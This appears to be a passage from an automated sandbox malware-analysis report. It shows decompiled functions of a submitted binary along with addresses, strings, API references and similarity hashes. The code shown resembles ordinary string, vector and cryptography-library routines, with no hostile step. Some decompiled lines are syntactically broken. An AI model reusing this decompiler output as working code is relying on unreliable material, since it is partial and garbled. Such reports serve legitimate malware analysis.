								_t118 = _t86;
								if(E00B0703E(_t86, _t103) == 0) {
									_push(_t80);
									_t81 = _v4;
									if(E00B06E31(_t118, _t118, _t81, 0) != 0) {
										if( *((intOrPtr*)(_t118 + 0x14)) < 8) {
											_t53 = _t118;
										} else {
											_t53 =  *_t118;
										}
										E00B078CC(_t53, _t103, _t81);
										 *(_t118 + 0x10) = _t81;
										if( *((intOrPtr*)(_t118 + 0x14)) < 8) {
											_t55 = _t118;
										} else {
											_t55 =  *_t118;
										}
										 *((short*)(_t55 + _t81 * 2)) = 0;
									}
									_t52 = _t118;
								} else {
									if( *((intOrPtr*)(_t118 + 0x14)) < 8) {
										_t52 = _t118;
									} else {
										_t52 =  *_t118;
									}
									_push(_v4);
									_push(_t103 - _t52 >> 1);
									_push(_t118);
									L26();
								}
								return _t52;
							} else {
								_t108 =  <  ? _a4 : _t102 - _t49;
								if(_t117 != _t80) {
									if(E00B06E31(_t86, _t117, _t108, 0) != 0) {
										if( *((intOrPtr*)(_t80 + 0x14)) >= 8) {
											_t80 =  *_t80;
										}
										if( *((intOrPtr*)(_t117 + 0x14)) < 8) {
											_t90 = _t117;
										} else {
											_t90 =  *_t117;
										}
										E00B078CC(_t90, _t80 + _v0 * 2, _t108);
										 *(_t117 + 0x10) = _t108;
										if( *((intOrPtr*)(_t117 + 0x14)) < 8) {
											_t61 = _t117;
										} else {
											_t61 =  *_t117;
										}
										 *((short*)(_t61 + _t108 * 2)) = 0;
									}
								} else {
									_push(_t49 + _t108);
									E00B08331(_t80, _t86, _t108);
									E00B08364(_t80, _t117, _t108, 0, _v0);
								}
								return _t117;
							}
						} else {
							_push(0);
							if(E00B02338(_t86, _t101) != 0) {
								E00B0277F(_t116, 0, _t101, _a4);
								 *((intOrPtr*)(_t116 + 0x10)) = _t101;
								if( *((intOrPtr*)(_t116 + 0x14)) < 0x10) {
									_t69 = _t116;
								} else {
									_t69 =  *_t116;
								}
								 *((char*)(_t69 + _t101)) = 0;
							}
							return _t116;
						}
					} else {
						if(_t79 != 0) {
							_a8 = _t86 + _t79;
							if(E00B06E31(__ecx, __ecx, _t86 + _t79, 0) != 0) {
								if( *((intOrPtr*)(__ecx + 0x14)) < 8) {
									_t95 = __ecx;
								} else {
									_t95 =  *__ecx;
								}
								E00B078CC(_t95 +  *(_t115 + 0x10) * 2, _t100, _t79);
								_t96 = _a8;
								 *(_t115 + 0x10) = _t96;
								if( *((intOrPtr*)(_t115 + 0x14)) < 8) {
									_t76 = _t115;
								} else {
									_t76 =  *_t115;
								}
								 *((short*)(_t76 + _t96 * 2)) = 0;
							}
						}
						_t70 = _t115;
						goto L16;
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) < 8) {
						_t77 = __ecx;
					} else {
						_t77 =  *__ecx;
					}
					_push(_a8);
					_t70 = L00B07487(_t115, _t115, _t100 - _t77 >> 1);
					L16:
					return _t70;
				}
			}

0x00b07595
0x00b07598
0x00b0759b
0x00b075a2
0x00b075c2
0x00b075c9
0x00b075d0
0x00b0762d
0x00b07632
0x00b07634
0x00b07636
0x00b07637
0x00b07638
0x00b0763b
0x00b07640
0x00b0767b
0x00b07680
0x00b07681
0x00b07682
0x00b07684
0x00b07687
0x00b07688
0x00b0768b
0x00b0768c
0x00b0768d
0x00b0768f
0x00b0768f
0x00b07694
0x00b0770e
0x00b07713
0x00b07714
0x00b07717
0x00b07718
0x00b07719
0x00b0771c
0x00b07726
0x00b07746
0x00b07747
0x00b07756
0x00b0775c
0x00b07762
0x00b0775e
0x00b0775e
0x00b0775e
0x00b07767
0x00b0776f
0x00b07776
0x00b0777c
0x00b07778
0x00b07778
0x00b07778
0x00b07780
0x00b07780
0x00b07784
0x00b07728
0x00b0772c
0x00b07732
0x00b0772e
0x00b0772e
0x00b0772e
0x00b07734
0x00b0773d
0x00b0773e
0x00b0773f
0x00b0773f
0x00b0778a
0x00b07696
0x00b0769b
0x00b076a1
0x00b076c4
0x00b076ca
0x00b076cc
0x00b076cc
0x00b076d2
0x00b076d8
0x00b076d4
0x00b076d4
0x00b076d4
0x00b076e3
0x00b076eb
0x00b076f2
0x00b076f8
0x00b076f4
0x00b076f4
0x00b076f4
0x00b076fc
0x00b076fc
0x00b076a3
0x00b076a5
0x00b076a6
0x00b076b3
0x00b076b3
0x00b07706
0x00b07706
0x00b07642
0x00b07642
0x00b0764c
0x00b07656
0x00b0765f
0x00b07662
0x00b07668
0x00b07664
0x00b07664
0x00b07664
0x00b0766a
0x00b0766a
0x00b07673
0x00b07673
0x00b075d2
0x00b075d4
0x00b075de
0x00b075e8
0x00b075ee
0x00b075f4
0x00b075f0
0x00b075f0
0x00b075f0
0x00b075ff
0x00b07604
0x00b0760e
0x00b07611
0x00b07617
0x00b07613
0x00b07613
0x00b07613
0x00b0761b
0x00b0761b
0x00b075e8
0x00b0761f
0x00000000
0x00b07621
0x00b075a4
0x00b075a8
0x00b075ae
0x00b075aa
0x00b075aa
0x00b075aa
0x00b075b0
0x00b075bb
0x00b07622
0x00b07625
0x00b07625

Strings

string too long, xrefs: 00B07522, 00B07585, 00B07628
invalid string position, xrefs: 00B07518

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID:
String ID: invalid string position$string too long
API String ID: 0-4289949731
Opcode ID: 27946d40ce12dbbad1da4327411401e2e95f14862bcd52d194167039a0540ba8
Instruction ID: 31bb81017542e94f54496e9ad5a8e564cf2b0c30fe157abbd4e0cd4ff0abf1d5
Opcode Fuzzy Hash: 27946d40ce12dbbad1da4327411401e2e95f14862bcd52d194167039a0540ba8
Instruction Fuzzy Hash: F211D330B447449BCB30DE6DCC8899ABBE9EF8175471049ADE546872D0DF31F809C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B03FB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00B03FB4(intOrPtr __ecx) {
				intOrPtr _t39;
				void* _t41;

				0xc814d0(0x14);
				_t39 = __ecx;
				 *((intOrPtr*)(_t41 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t41 - 0x10)) =  *((intOrPtr*)(_t41 + 8));
				0xcabb11(0);
				 *((intOrPtr*)(__ecx)) = 0xcf32f0;
				 *((intOrPtr*)(__ecx + 4)) = 0xcf33b4;
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x34)) = 0;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				 *((char*)(_t41 - 4)) = 2;
				0xcac41d( *((intOrPtr*)(_t41 + 0x10)));
				_t36 = E00B03110();
				 *((char*)(_t41 - 4)) = 3;
				0xcaddd2(E00B02FD4(_t36), "Log2Base", _t41 + 0xc,  *(_t27 + 8) & 0x000000ff, _t41 - 0x20, "DecodingLookupArray", _t41 - 0x10, 1);
				 *((char*)(_t41 - 4)) = 2;
				E00B04C1B(_t41 - 0x1c);
				0xc8149e();
				return _t39;
			}

0x00b03fbb
0x00b03fc0
0x00b03fcb
0x00b03fce
0x00b03fd1
0x00b03fd6
0x00b03fdc
0x00b03fe3
0x00b03fe6
0x00b03fe9
0x00b03fec
0x00b03fef
0x00b03ff2
0x00b03ff5
0x00b03ff8
0x00b03ffb
0x00b04001
0x00b04005
0x00b04021
0x00b0402b
0x00b0403d
0x00b04045
0x00b04049
0x00b04050
0x00b04055

APIs

__EH_prolog3.LIBCMT ref: 00B03FBB

Part of subcall function 00B03110: __EH_prolog3.LIBCMT ref: 00B03117

Part of subcall function 00B02FD4: __EH_prolog3.LIBCMT ref: 00B02FDB

Part of subcall function 00CADDD2: __EH_prolog3_GS.LIBCMT ref: 00CADDD9

Strings

DecodingLookupArray, xrefs: 00B04013
Log2Base, xrefs: 00B04030

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$H_prolog3_
String ID: DecodingLookupArray$Log2Base
API String ID: 4240126716-3088352070
Opcode ID: e5d274913fbfbe5a55753ec08910ec23119bba78d3ec8e25ce816baec8ac49ea
Instruction ID: c4ceea665e765a7604d31632c9a35af210b5c71d4c7200afbd792d7b00963fc2
Opcode Fuzzy Hash: e5d274913fbfbe5a55753ec08910ec23119bba78d3ec8e25ce816baec8ac49ea
Instruction Fuzzy Hash: 261142B0A0164AABCB01DF99C481AADFBF8BF58304F44416EE509D7742D7709A15DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CAC6B1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CAC6BB

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CAC73C

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

: missing required parameter ', xrefs: 00CAC6E6

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: : missing required parameter '
API String ID: 1139647276-3853945970
Opcode ID: b1f5f81462aa971c7c0721b19eefbf61c773a7ab23914518351e26ef9417aa84
Instruction ID: aefa92f03a01693db60ae8f6a8601f49d51744f55c634745c1e845f94568f159
Opcode Fuzzy Hash: b1f5f81462aa971c7c0721b19eefbf61c773a7ab23914518351e26ef9417aa84
Instruction Fuzzy Hash: 430180B5940308BFDF14EBA4C889FDEBBBCAF25308F104184F905B3281CB749A888761

Uniqueness

Uniqueness Score: -1.00%

Function 00CADBE9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CADBF3

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CADC74

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

: missing required parameter ', xrefs: 00CADC1E

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: : missing required parameter '
API String ID: 1139647276-3853945970
Opcode ID: 54b3c2a3f57ba565759932827a9b419740107c8fbbdce8e40c9d704887c73419
Instruction ID: 3b4728807d90dcde265bf8794706c16f57d4bf959322518a3cfb5bb3ac521860
Opcode Fuzzy Hash: 54b3c2a3f57ba565759932827a9b419740107c8fbbdce8e40c9d704887c73419
Instruction Fuzzy Hash: 92016DB5940308BFDF10EBA0C849FDE7BBCAF25318F004084F909B3281CA749A8887A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CADB51 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CADB5B

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CADBDC

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

: missing required parameter ', xrefs: 00CADB86

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: : missing required parameter '
API String ID: 1139647276-3853945970
Opcode ID: aecd3318d76ea90488dcc80cb9a12383e88c8c117d6156198b8552cc56d68b2c
Instruction ID: 64ca2a29795ec0739ff5f6df35583367d21052cb59e244bcb038b65ff44fd91a
Opcode Fuzzy Hash: aecd3318d76ea90488dcc80cb9a12383e88c8c117d6156198b8552cc56d68b2c
Instruction Fuzzy Hash: 87016DB5940208BFDF10EBA0C84AFDEBBBCAF25304F104084F905B7281CA749A888761

Uniqueness

Uniqueness Score: -1.00%

Function 00CADC81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00CADC8B

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00CADD0C

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

: missing required parameter ', xrefs: 00CADCB6

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: : missing required parameter '
API String ID: 1139647276-3853945970
Opcode ID: 624e5af13dd3c5d7ccd7fd15a27c9f2d2e1a4f5de19366fc7ebd7bf748788c6f
Instruction ID: b9680b558f09fb6e581759a6e1fa7018057f3b6ea9da9eca198d4d5f945c07df
Opcode Fuzzy Hash: 624e5af13dd3c5d7ccd7fd15a27c9f2d2e1a4f5de19366fc7ebd7bf748788c6f
Instruction Fuzzy Hash: 4C016DB5940308BFDF10EBA0CC49FDE7BBCAF25304F104084F909B3281CA749A888761

Uniqueness

Uniqueness Score: -1.00%

Function 00B05B15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00B05B15(intOrPtr* __ecx) {
				void* _t19;
				intOrPtr _t20;
				intOrPtr* _t30;
				intOrPtr _t34;
				intOrPtr* _t35;
				void* _t36;

				0xc81503(0x44);
				_t35 = __ecx;
				_t34 =  *((intOrPtr*)(_t36 + 8));
				if( *((char*)(_t36 + 0xc)) != 0 &&  *((intOrPtr*)( *__ecx + 0xbc))() == 0) {
					E00B01E2C(_t36 - 0x28, "Unflushable<T>: this object has buffered input that cannot be flushed");
					 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
					E00B04197(_t36 - 0x50);
					 *((intOrPtr*)(_t36 - 0x50)) = 0xcf2cc0;
					0xc8143b(_t36 - 0x50, 0xd48150, 2, _t36 - 0x28);
				}
				_t30 =  *((intOrPtr*)( *_t35 + 0xa4))();
				if(_t30 == 0) {
					L6:
					_t19 = 0;
				} else {
					_t20 =  *((intOrPtr*)(_t36 + 0x10));
					if(_t20 == 0) {
						goto L6;
					} else {
						_t19 =  *((intOrPtr*)( *_t30 + 0x90))(_t34,  *((intOrPtr*)(_t36 + 0xc)), _t20 - 1,  *((intOrPtr*)(_t36 + 0x14)));
					}
				}
				0xc814b2();
				return _t19;
			}

0x00b05b1c
0x00b05b21
0x00b05b27
0x00b05b2a
0x00b05b40
0x00b05b45
0x00b05b52
0x00b05b5f
0x00b05b67
0x00b05b67
0x00b05b76
0x00b05b7a
0x00b05b96
0x00b05b96
0x00b05b7c
0x00b05b7c
0x00b05b81
0x00000000
0x00b05b83
0x00b05b8e
0x00b05b8e
0x00b05b81
0x00b05b98
0x00b05b9d

APIs

__EH_prolog3_GS.LIBCMT ref: 00B05B1C

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

__CxxThrowException@8.LIBCMT ref: 00B05B67

Part of subcall function 00C8143B: RaiseException.KERNEL32(?,?,00CA8B64,?,?,?,?,?,?,?,00CA8B64,?,00D58AB8,?), ref: 00C81490

Strings

Unflushable<T>: this object has buffered input that cannot be flushed, xrefs: 00B05B38

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: ExceptionException@8H_prolog3H_prolog3_RaiseThrow
String ID: Unflushable<T>: this object has buffered input that cannot be flushed
API String ID: 1139647276-3781273281
Opcode ID: 5ab8213d91479dc4c0bd417892c9ed1b764e9ef300b7317549652d7e58607e33
Instruction ID: a1f81e03848f42f3fee54d47b068dbf79216b141f1fd68034ee5eab941dffddb
Opcode Fuzzy Hash: 5ab8213d91479dc4c0bd417892c9ed1b764e9ef300b7317549652d7e58607e33
Instruction Fuzzy Hash: 4C014C74600248EFDF14EFA0C845FAE7BF4AF44700F5844A8F946AB282CB74ED069B65

Uniqueness

Uniqueness Score: -1.00%

Function 00CABC7F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CABC86

Part of subcall function 00CABBDB: __EH_prolog3.LIBCMT ref: 00CABBE2

Part of subcall function 00CAB7B5: __EH_prolog3.LIBCMT ref: 00CAB7BC

Part of subcall function 00B02FD4: __EH_prolog3.LIBCMT ref: 00B02FDB

Part of subcall function 00CACB55: __EH_prolog3_GS.LIBCMT ref: 00CACB5C

Strings

TruncatedDigestSize, xrefs: 00CABCE9
HashVerificationFilterFlags, xrefs: 00CABCCC

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3$H_prolog3_
String ID: HashVerificationFilterFlags$TruncatedDigestSize
API String ID: 4240126716-2207988728
Opcode ID: 56db0a3e52ea42aab336f0356501f4fffbb798fde25b0aab96e1704157857bd4
Instruction ID: 8b6a2b9638d1c27d7d2ad014c52c89acfea42d4d4c2021ea4ea18e987f92ed18
Opcode Fuzzy Hash: 56db0a3e52ea42aab336f0356501f4fffbb798fde25b0aab96e1704157857bd4
Instruction Fuzzy Hash: 5911C4B4900789AFCB15DF58C442A9EBBF4AF05304F04449DF44697382D7B59A049B65

Uniqueness

Uniqueness Score: -1.00%

Function 00B0436E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00B0436E(intOrPtr* __ecx, void* __eflags) {
				void* _t12;
				void* _t14;
				intOrPtr* _t29;
				void* _t31;

				0xc81503(0x4c);
				_t29 = __ecx;
				_t24 = _t31 - 0x58;
				_t12 = E00B01E2C(_t31 - 0x58, "AlgorithmParametersBase: parameter \"");
				 *((intOrPtr*)(_t31 - 4)) = 0;
				_t14 = E00B02ED4(0, _t31 - 0x58, _t31 - 0x28, _t12,  *((intOrPtr*)(_t31 + 8)));
				 *((char*)(_t31 - 4)) = 1;
				 *((char*)(_t31 - 4)) = 2;
				E00B04197(_t29);
				E00B023D6(_t31 - 0x40, 1, 0);
				E00B023D6(_t31 - 0x28, 1, 0);
				E00B023D6(_t31 - 0x58, 1, 0);
				 *_t29 = 0xcf2e34;
				0xc814b2(6, E00B02ED4(0, _t24, _t31 - 0x40, _t14, "\" not used"));
				return _t29;
			}

0x00b04375
0x00b0437a
0x00b0437f
0x00b04387
0x00b04394
0x00b04397
0x00b043a5
0x00b043b7
0x00b043bb
0x00b043c6
0x00b043d1
0x00b043dc
0x00b043e1
0x00b043e9
0x00b043ee

APIs

__EH_prolog3_GS.LIBCMT ref: 00B04375

Part of subcall function 00B04197: __EH_prolog3.LIBCMT ref: 00B0419E

Part of subcall function 00B023D6: _memmove.LIBCMT ref: 00B023F6

Strings

" not used, xrefs: 00B0439C
AlgorithmParametersBase: parameter ", xrefs: 00B04382

Memory Dump Source

Source File: 00000001.00000002.522267759.0000000000B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000001.00000002.522159999.0000000000B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528136581.0000000000D60000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528369199.0000000000D6D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528560639.0000000000D73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528646619.0000000000D76000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.528773785.0000000000D9B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b00000_wYWdigdSjn.jbxd

Similarity

API ID: H_prolog3H_prolog3__memmove
String ID: " not used$AlgorithmParametersBase: parameter "
API String ID: 2549280591-612349224
Opcode ID: 502bbf56179bf24252e8b1f073a8d4a9bf0780dc213ff9947121d2869a3bc491
Instruction ID: bceb928615018b2cb3d52d122e6a6324eefa5ca8ea525ac0d67e12d97e85c59c
Opcode Fuzzy Hash: 502bbf56179bf24252e8b1f073a8d4a9bf0780dc213ff9947121d2869a3bc491
Instruction Fuzzy Hash: 9B018FB0940208AEDB04FBA4CC97FEE7EACAF24304F140095F605AB1C2DBB44E898761

Uniqueness

Uniqueness Score: -1.00%

Function 00B06972 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00B06972(intOrPtr* __ecx, void* __edi, void* __esi, signed int _a4, short _a8) {
				signed int _v0;
				intOrPtr _v8;
				short _t24;
				intOrPtr _t25;
				void* _t27;
				signed int _t34;
				intOrPtr* _t37;

				_t37 = __ecx;
				_t34 = _a4;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				if(_t34 != 0) {
					if(_t34 > 0x7fffffff) {
						0xca8b37("vector<T> too long");
						asm("int3");
						_t32 = __ecx;
						if(_v8 != 1) {
							if( *((intOrPtr*)(__ecx + 0x14)) >= 8) {
								_t32 =  *__ecx;
							}
							return E00B0B5A8(_t32 + _v0 * 2, _a8, _a4);
						} else {
							if( *((intOrPtr*)(__ecx + 0x14)) >= 8) {
								_t32 =  *__ecx;
							}
							_t24 = _a8;
							 *((short*)(_t32 + _v0 * 2)) = _t24;
							return _t24;
						}
					}
					_push(0);
					_t25 = E00B03233(_t34);
					 *_t37 = _t25;
					 *((intOrPtr*)(_t37 + 4)) = _t25;
					 *((intOrPtr*)(_t37 + 8)) = _t25 + _t34 * 2;
					_t27 = 1;
				} else {
					_t27 = 0;
				}
				return _t27;
			}

0x00b06976
0x00b0697b
0x00b0697e
0x00b06980
0x00b06983
0x00b06988
0x00b06994
0x00b069b7
0x00b069bc
0x00b069c4
0x00b069c6
0x00b069e1
0x00b069e3
0x00b069e3
0x00000000
0x00b069c8
0x00b069cc
0x00b069ce
0x00b069ce
0x00b069d3
0x00b069d7
0x00000000
0x00b069d7
0x00b069c6
0x00b06996
0x00b06998
0x00b0699d
0x00b0699f
0x00b069a6
0x00b069a9
0x00b0698a
0x00b0698a
0x00b0698a
0x00b069af

